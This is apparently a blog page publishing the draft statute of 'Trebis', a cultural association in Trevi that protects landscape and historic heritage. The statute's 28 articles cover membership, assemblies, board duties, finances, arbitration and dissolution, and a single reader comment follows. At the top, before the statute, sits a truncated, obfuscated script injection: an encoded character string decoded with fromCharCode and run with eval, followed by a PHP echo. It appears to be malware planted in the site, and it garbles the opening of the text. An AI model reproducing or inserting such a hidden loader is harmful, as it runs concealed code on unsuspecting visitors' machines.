q4Zq1Zq72Zq4Zq1Zq60Zq5dZq1fZq3eZq5cZq6bZq3aZq66Zq66Zq62Zq60Zq5cZq1fZq1eZq6dZq60Zq6aZq60Zq6bZq5cZq5bZq56Zq6cZq68Zq1eZq20Zq34Zq34Zq2cZq2cZq20Zq72Zq74Zq5cZq63Zq6aZq5cZq72Zq4aZq5cZq6bZq3aZq66Zq66Zq62Zq60Zq5cZq1fZq1eZq6dZq60Zq6aZq60Zq6bZq5cZq5bZq56Zq6cZq68Zq1eZq23Zq17Zq1eZq2cZq2cZq1eZq23Zq17Zq1eZq28Zq1eZq23Zq17Zq1eZq26Zq1eZq20Zq32Zq4Zq1Zq4Zq1Zq70Zq6aZq61Zq5aZq67Zq27Zq30Zq1fZq20Zq32Zq4Zq1Zq74Zq4Zq1Zq74\"[gzr](\"Zq\");}uwo=cpf;uoukoc=[];for(ymg=22-20-2;-ymg 1420!=0;ymg =1){ubtze=ymg;if((0x19==031))uoukoc =pivr.fromCharCode(eval(xcf uwo[1*ubtze]) 0xa-nhmv);}ilqz=eval;if(Math.ceil(5.5)===6)ilqz(uoukoc)}";echo $x;} ?>

Statuto

admin Gennaio 21st, 2007

 

Bozza dello statuto pubblicata solo per verificare la funzionalità del sito 

 

STATUTO ASSOCIAZIONE “TREBIS”

 

Art. 1 - Denominazione e sede

È costituita in Trevi, con sede ________________, l’Associazione Culturale denominata ‘’Trebis’’ . L’Associazione è apartitica e senza scopo di lucro ed aperta a tutti: singoli, enti e associazioni italiani e stranieri.

L’Associazione si ispira ai valori di diffusa e partecipata democrazia affermati nella Costituzione italiana, richiamando esplicitamente nelle sue finalità ideali l’art. 9 della stessa che così testualmente recita: “La Repubblica..(omissis) tutela il paesaggio ed il patrimonio storico e artistico della nazione”.

Art. 2 – Scopi sociali

L’Associazione Trebis persegue i seguenti scopi:

- riaffermare il valore culturale del paesaggio inteso come elemento sintetico di natura e cultura; trama di rapporti fra luoghi, manufatti e persone come storicamente costituitosi e come ancora ampiamente conservato ed operante nel territorio di Trevi.

- Salvaguardarne la preminenza in rapporto ad altre, pur rilevanti, considerazioni di sviluppo economico e sociale che a questo valore devono essere improntate e collegate;

- Promuovere in sede locale, con particolare attenzione ai più giovani, la consapevolezza della responsabilità di ciascuno nei confronti del territorio condiviso e della sua tutela, ponendo in essere tutte le attività di carattere conoscitivo, divulgativo ed operativo, che possano concorrere ad una diffusa sensibilizzazione;

- Redigere una carta dei diritti del Territorio e del Centro Storico che possa servire come punto di riferimento per tutte le attività da intraprendere;

- Aggregare il maggior numero di consensi intorno all’iniziativa;

- Valorizzare questi consensi intervenendo nei tempi e nei modi possibili in ogni sede dove questi temi si evidenziano;

- Individuare ed intraprendere ogni attività volta in primis ad impedire ulteriore ed irreversibile detrimento dei valori affermati;

Art. 3 - Durata

La durata dell’associazione è illimitata e potrà essere sciolta con delibera dell’assemblea straordinaria degli associati.

Art. 4 - Domanda di ammissione

Sono soci tutti coloro che partecipano alle attività sociali, previa iscrizione alla stessa.

Possono far parte dell’associazione, in qualità di soci, sia le persone fisiche che gli enti e/o associazioni, italiani e stranieri.

Tutti coloro i quali intendono far parte dell’associazione dovranno redigere una domanda su apposito modulo controfirmata da un socio presentatore.

La validità della qualità di socio efficacemente conseguita all’atto di presentazione della domanda di ammissione è subordinata all’accoglimento della domanda stessa da parte del Consiglio Direttivo, il cui giudizio deve sempre essere motivato e contro la cui decisione è ammesso appello all’assemblea generale.

In caso di domanda di ammissione a socio presentata da minorenni, la stessa dovrà essere controfirmata anche dall’esercente la potestà parentale.

Lo status di associato non può essere trasmesso a terzi per atto inter vivos.

Art. 5 - Diritti dei soci

Tutti i soci maggiorenni godono, al momento dell’ammissione, del diritto di partecipazione nelle assemblee sociali, nonché dell’elettorato attivo e passivo.

Art. 6- Soci onorari e sostenitori. Eventuali altre categorie.

Sono soci onorari le personalità o gli Enti che, proposti dal Consiglio Direttivo, accettino gli scopi dell’Associazione e ne approvino lo statuto. Essi non sono tenuti al versamento delle quote sociali, non hanno diritto di voto e non sono eleggibili.

Sono soci sostenitori le persone o gli Enti che supportino in modo rilevante ed in qualsiasi forma l’Associazione nel conseguimento dei suoi scopi. Essi non sono tenuti al versamento delle quote sociali, non hanno diritto di voto e non sono eleggibili.

Il Consiglio Direttivo potrà prevedere altre categorie di soci, senza diritto di partecipazione alle assemblee, cui accordare quote associative ridotte.

Art. 7 – Attività svolte dai soci a favore dell’Associazione

Nel caso in cui uno o più soci sia chiamato in virtù di proprie competenze specifiche a svolgere attività professionale a favore dell’Associazione, potrà essere compensato per queste specifiche funzioni solo a titolo di rimborso spese.

Art. 8 - Decadenza dei soci

I soci cessano di appartenere all’associazione nei seguenti casi:

- dimissione volontaria;

- radiazione deliberata dalla maggioranza assoluta dei componenti il Consiglio Direttivo, pronunciata contro il socio che commette azioni ritenute contrarie agli scopi sociali, o che, con la sua condotta, costituisce ostacolo al buon andamento del sodalizio.

Il provvedimento di radiazione assunto dal Consiglio Direttivo deve essere ratificato dall’assemblea ordinaria. Nel corso di tale assemblea, alla quale deve essere convocato il socio interessato, si procederà in contraddittorio con l’interessato ad una disamina degli addebiti. L’associato radiato non può essere più ammesso.

Art. 9 - Organi

Gli organi sociali sono:

- l’assemblea generale dei soci;

- il Presidente

- il Consiglio Direttivo

- il Segretario

- il Tesoriere

- il Revisore Contabile

Art. 10 - Assemblea

L’assemblea generale dei soci è il massimo organo deliberativo dell’associazione ed è convocata in sessioni ordinarie e straordinarie.

Art. 11 - Diritti di partecipazione

Potranno prendere parte alle assemblee ordinarie e straordinarie dell’associazione i soli soci in regola con il versamento della quota associativa annua.

Ogni socio può rappresentare in assemblea, per mezzo di delega scritta, non più di due associati.

Art. 12 - Compiti dell’assemblea

La convocazione dell’assemblea ordinaria avverrà almeno otto giorni prima mediante affissione di avviso nella sede dell’associazione e contestuale comunicazione agli associati a mezzo telefono, posta, fax o telegramma.

L’assemblea deve essere convocata almeno due volte all’anno per l’approvazione del rendiconto economico e finanziario e per la programmazione dell’attività futura e potrà essere tenuta anche in luogo diverso dalla sede sociale, purchè nel Comune di Trevi.

L’Assemblea può inoltre essere convocata tanto in sede ordinaria che in sede straordinaria, previa indicazione dell’ordine del giorno:

 

 

  

     

  1. per decisione del Consiglio Direttivo 

     

  2. su richiesta, indirizzata al Presidente del Consiglio Direttivo, di almeno un terzo dei soci ordinari 

 

 

  

Spetta all’assemblea deliberare l’eventuale modifica dello statuto e dei regolamenti e la nomina degli organi dell’associazione.

Art. 13 – Costituzione e deliberazioni dell’Assemblea

L’Assemblea in sede ordinaria è regolarmente costituita in prima convocazione con la presenza di almeno la metà più uno dei Soci aventi diritto al voto.

L’Assemblea ordinaria di seconda convocazione delibera validamente qualunque sia il numero dei Soci intervenuti.

L’Assemblea riunita in sede straordinaria è validamente costituita in prima convocazione con la presenza di almeno i 2/3 dei Soci aventi diritto al voto e delibera con il voto favorevole della maggioranza dei presenti.

Trascorsa un’ora dalla prima convocazione tanto l’Assemblea ordinaria che l’Assemblea straordinaria saranno validamente costituite qualunque sia il numero degli associati intervenuti e delibera con il voto dei presenti.

È ammesso l’intervento per delega da conferirsi per iscritto esclusivamente ad altro Socio; è vietato il cumulo delle deleghe in numero superiore a due e non sono ammessi voti per corrispondenza.

L’Assemblea è presieduta dal Presidente del Consiglio Direttivo o, in caso di sua assenza da persona designata dall’Assemblea.

Il Presidente del Consiglio Direttivo ha inoltre la facoltà, quando lo ritenga opportuno, di chiamare un Notaio per redigere il verbale dell’Assemblea fungendo questi da Segretario.

Le deliberazioni prese a maggioranza sono vincolanti anche per la minoranza, salvo il diritto di recesso dei singoli Soci.

Art. 14 – Forma di votazione dell’Assemblea

L’Assemblea vota normalmente per alzata di mano; su decisione del Presidente del Consiglio Direttivo e per argomenti di particolare importanza la votazione può essere effettuata a scrutinio segreto. Il Presidente del Consiglio Direttivo può inoltre, in questo caso, scegliere due scrutatori fra i presenti.

Art. 15 – Compiti dell’Assemblea ordinaria e straordinaria

All’Assemblea spettano i seguenti compiti:

a) in sede ordinaria:

- discutere e deliberare sui bilanci consuntivi e sulle relazioni del Consiglio Direttivo;

- fissare, su proposta del Consiglio Direttivo, le quote di ammissione ed i contributi associativi;

- deliberare sulle direttive d’ordine generale dell’Associazione sull’attività da essa svolta e da svolgere nei vari settori in cui quest’ultima si articola. Con riguardo alle attività da svolgere, le deliberazioni dell’Assemblea interverranno sui documenti prodotti a questo fine dal Consiglio Direttivo e preventivamente messi a disposizione dei soci.

- deliberare su ogni altro argomento di carattere ordinario sottoposto alla sua approvazione dal Consiglio Direttivo;

b) in sede straordinaria:

- deliberare sullo scioglimento dell’Associazione;

- deliberare sulle proposte di modifica dello Statuto;

- deliberare sul trasferimento della Sede dell’Associazione;

- deliberare su ogni altro argomento di carattere straordinario sottoposto alla sua approvazione dal Consiglio Direttivo.

Art. 16 - Consiglio Direttivo

Il Consiglio Direttivo è composto da un minimo di tre membri fino ad un massimo di cinque, eletti per il primo esercizio dai soci fondatori, ed in seguito dall’Assemblea. Nel proprio ambito nomina il Presidente e il Vicepresidente, attribuisce le cariche, cumulabili, di Segretario e di Tesoriere. Per la nomina del Presidente, terrà conto ove possibile, delle indicazioni scaturite dal voto assembleare che indicherà il nominativo in un apposito spazio previsto nella scheda di voto.

Tutti gli incarichi sociali si intendono esclusivamente a titolo gratuito.

Il Consiglio Direttivo rimane in carica un anno per il primo esercizio e due anni per i successivi esercizi. I suoi componenti sono rieleggibili. Le deliberazioni verranno adottate a maggioranza. In caso di parità prevarrà il voto del Presidente.

Nel caso in cui uno o più dei componenti il Consiglio Direttivo sia chiamato in virtù di proprie competenze specifiche a svolgere attività professionale a favore dell’associazione, dovrà essere compensato per queste specifiche funzioni solo a titolo di rimborso spese.

Art. 17 – Compiti del Consiglio Direttivo

Il Consiglio Direttivo ha l’amministrazione ordinaria e straordinaria dell’Associazione.

a) deliberara sulle domande di ammissione dei soci;

b) redige il rendiconto economico-finanziario da sottoporre al revisore contabile e all’assemblea;

c) fissa le date delle assemblee ordinarie dei soci da indire almeno due volte all’anno e convoca l’assemblea straordinaria qualora lo reputi necessario o venga chiesto dai soci;

d) redige gli eventuali regolamenti interni relativi all’attività sociale da sottoporre all’approvazione dell’assemblea degli associati;

e) adotta i provvedimenti di radiazione verso i soci qualora si dovessero rendere necessari;

f) provvede a redigere articolate proposte sulle attività da svolgere, da sottoporre all’approvazione dell’Assemblea come sopra previsto dall’Art.15 a)

g) attua le finalità statutarie e le decisioni dell’assemblea dei soci.

Il Presidente del Consiglio Direttivo può conferire sia ai Soci che a terzi procure speciali o ad negotia per determinati atti o categorie di atti.

In caso di dimissioni o di impedimento grave, giudicato tale dal Consiglio Direttivo, il Consiglio stesso provvede ad eleggere un Presidente sino alla successiva Assemblea ordinaria.

Il Consiglio Direttivo si riunisce, sempre in unica convocazione, possibilmente una volta al mese e comunque ogni qual volta il Presidente lo ritenga necessario o quando lo richiedano due componenti del Consiglio stesso.

Le sedute e le deliberazioni del Consiglio Direttivo sono fatte constatare da processo verbale sottoscritto dal Presidente e dal Segretario.

I Consiglieri ed il Segretario sono tenuti a mantenere la massima riservatezza all’esterno dell’Associazione sulle decisioni del Consiglio Direttivo.

Soltanto il Consiglio Direttivo, con specifica delibera, ha facoltà di rendere note quelle delibere per le quali sia opportuno e conveniente dare pubblicità all’esterno.

Art. 18 - Dimissioni

Nel caso che per qualsiasi ragione durante il corso dell’esercizio venissero a mancare uno o più consiglieri, i rimanenti provvederanno alla convocazione dell’assemblea dei soci per surrogare i mancanti che resteranno in carica fino alla scadenza dei consiglieri sostituiti.

Il Consiglio Direttivo dovrà considerarsi sciolto e non più in carica qualora per dimissioni o per qualsiasi altra causa venga a perdere la maggioranza dei suoi componenti.

Art. 19 - Il Presidente

Il Presidente, per delega del Consiglio Direttivo, dirige l’Associazione e ne è il legale rappresentante in ogni evenienza.

Art. 20 - Il Vice presidente

Il Vice-presidente sostituisce il Presidente in caso di sua assenza o impedimento temporaneo ed in quelle mansioni nelle quali venga espressamente delegato.

Art. 21 - Il Segretario

Il segretario dà esecuzione alle deliberazioni del Presidente e del Consiglio direttivo, redige i verbali delle riunioni e mantiene i contatti con i soci.

Art. 22 – Il Tesoriere

Il tesoriere cura l’amministrazione dell’associazione, si incarica della tenuta dei libri contabili, nonché delle riscossioni e dei pagamenti da effettuarsi previo mandato del Consiglio Direttivo.

Art. 23 - Il Revisore Contabile

Il Revisore Contabile è eletto dall’assemblea e può essere indicato anche fra i non appartenenti all’Associazione.

Il Revisore Contabile verifica la corretta gestione sul piano economico-finanziario e controlla le operazioni intraprese dall’associazione.

In particolare, esprime il proprio parere sul rendiconto annuale dell’associazione e sugli altri documenti contabili redatti, prima che gli stessi vengano presentati all’assemblea per l’approvazione.

Il Revisore Contabile rimane in carica due anni ed è rieleggibile.

Art. 24 - Anno sociale

L’anno sociale e l’esercizio finanziario iniziano il 1° gennaio e terminano il 31 dicembre di ciascun anno.

Art. 25 - Patrimonio

I mezzi finanziari sono costituiti dalle quote associative determinate annualmente dal Consiglio Direttivo, dai contributi di enti ed associazioni, da lasciti e donazioni, dai proventi derivanti dalle attività organizzate dalla Associazione, dalle raccolte dei fondi.

Art. 26- Sezioni

L’Associazione potrà costituire delle sezioni nei luoghi che riterrà più opportuni al fine di meglio raggiungere gli scopi sociali.

Art. 27 - Clausola compromissoria

Tutte le controversie insorgenti tra l’associazione ed i soci medesimi saranno devolute all’esclusiva competenza di un collegio Arbitrale composto da tre arbitri, due dei quali nominati dalle parti, ed il terzo con funzioni di Presidente, dagli arbitri così designati o, in difetto, dal Presidente del Tribunale di Spoleto.

La parte che vorrà sottoporre la questione al collegio Arbitrale dovrà comunicarlo all’altra con lettera raccomandata da inviarsi entro il termine perentorio di 20 giorni dalla data dell’evento originante la controversia, ovvero dalla data in cui la parte che ritiene di aver subito il pregiudizio ne sia venuta a conoscenza, indicando pure il nominativo del proprio arbitro.

L’altra parte dovrà nominare il proprio arbitro entro il successivo termine perentorio di 20 giorni dal ricevimento della raccomandata di cui al precedente punto ed in difetto l’arbitro sarà nominato, su richiesta della parte che ha promosso l’arbitrato, dal Presidente del Tribunale di Spoleto.

L’arbitrato avrà sede in Trevi, ____________________ ed il Collegio giudicherà ed adotterà il lodo con la massima libertà di forma dovendosi considerare ad ogni effetto, come irrituale.

Art. 28 - Scioglimento

Lo scioglimento dell’Associazione è deliberato dall’assemblea generale dei soci, convocata in seduta straordinaria, con l’approvazione, sia in prima che in seconda convocazione, di almeno 4/5 dei soci esprimenti il solo voto personale, con esclusione delle deleghe. Così pure la richiesta dell’assemblea generale straordinaria da parte dei soci aventi per oggetto lo scioglimento dell’Associazione deve essere presentata da almeno 4/5 dei soci con diritto di voto, con l’esclusione delle deleghe.

L’assemblea, all’atto di scioglimento dell’associazione, delibererà, sentita l’autorità proposta, in merito alla destinazione dell’eventuale residuo attivo del patrimonio dell’associazione.

La destinazione del patrimonio residuo avverrà a favore di altra associazione che persegua finalità analoghe ovvero a fini di pubblica utilità, fatta salva diversa destinazione imposta dalla legge.

Tale statuto costituisce parte integrante e sostanziale dell’atto costitutivo in pari data redatto.

Letto, approvato e sottoscritto a _______________, il _______________

 

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

________________________

 

One Response to “Statuto”

  1. virginiaon 29 Nov 2008 at 09:50

    Martedi 2 dicembre,bocciodromo di Trevi.
    ‘Agenda 21′ Forum sull’ Energia.Importantissimo per i soci di TREBIS.

Trackback URI | Comments RSS

Leave a Reply